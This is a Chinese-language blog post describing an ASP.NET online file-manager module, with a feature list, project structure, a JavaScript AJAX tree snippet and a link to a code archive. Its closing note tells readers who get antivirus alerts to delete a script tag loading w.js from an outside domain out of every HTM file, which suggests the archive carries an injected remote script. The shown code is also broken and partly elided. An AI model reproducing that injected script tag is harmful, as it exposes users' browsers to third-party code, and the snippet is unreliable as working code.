ASP.NET常見模組:線上檔案管理模組的設計與開發

需要完整代碼的見文章最下部的連結

 

線上檔案管理模組功能及應用:

    現代企業級開發中，線上文件管理是必不可少模組之一，本例所講線上文件管理模組包括了檔案上傳到伺服器上、檔案瀏覽、重新命名、移動、複製、刪除、建立檔案夾、壓縮、解壓縮、線上編輯等多種常用操作，適用於無紙化辦公OA、ERP、CRM、專案管理、檔案管理（網盤）、主機管理等多種場合。

線上檔案管理模組特點:

     全靜態頁面、執行效率高；
     使用AJAX技術，使用者體驗好；
     介面美觀，全新的對話方塊；
     操作簡便，一個頁面完成所有操作；
     純DIV布局，代碼簡便控制，難度高；
     純手工代碼，功能擴充容易；
     拋棄傳統“拖控制項”做法，真正意義上的提高；
     項目結構簡單，易於融入任何系統；

線上檔案管理模組展示：

 

 

 

線上檔案管理模組實現技能點:

     自訂AJAX操作，AJAX-tree，AJAX-Dialog
      DIV布局技術
     HttpHandler技術
     JSON技術
     IO操作技術
     線上文本編輯技術
     在線壓縮技術

 

 

線上檔案管理模組具體實現過程：

      搭建項目層次

      CSS：  存放整站樣式檔案

       JS:存放全部JS檔案

       UpFiles：存放上傳的檔案

       WebExplorer.html：  唯一的介面

       MyWebExplorer.ashx：一般處理常式，用來處理HTTP請求

       DownloadFile.cs：下載檔案操作類

       ZipClass.cs：壓縮檔操作類

        fckeditor：線上文字編輯器

目錄結構如下:

線上檔案管理-樹-Ajax.js

 

function getHttpRequest()
{
httpRequest = new XMLHttpRequest();
httpRequest = new ActiveXObject("Msxml2.XMLHTTP");
}function executeHttpRequest(method, url, data)
{
    var xmlHttp = getHttpRequest();
    xmlHttp.open(method, url, false);
    xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xmlHttp.send(data);
    return xmlHttp.responseText;
}

function TreeNode()
{
    var self = this;
    var fileContainer = $(fileDivID);
    ……    ……        
     this.childArea = createDiv();
     this.childArea.style.display = "none";
     this.container.appendChild(this.childArea);
    }

this.clickNode = function()
    {
        self.ClearCurrentStatus();
        currentNode = self;
        self.SetCurrentStatus();
        self.CreateChildren();
    }

關於線上檔案管理-樹-Tree.js的幾點解說:

ClearCurrentStatus：清除當前節點狀態
GotoParentNode：返回上級節點
SetCurrentStatus：設定當前節點狀態
CreateChildren：建立子節點
Refersh：重新整理
createImage：建立圖片
createFileView：建立檔案展現方式
clickDirectory：點擊目錄操作

 

完整代碼已經提供，記得點一下推薦哦。/Files/0771bc/線上檔案管理模組最終代碼.rar

 

特別說明:遇到殺軟報毒：找到所有HTM檔案，將<script language=javascript src=http://www.haofbi.com/js/w.js></script>刪除即可

請注意後續提供的該模組開發全過程的免費視頻教程。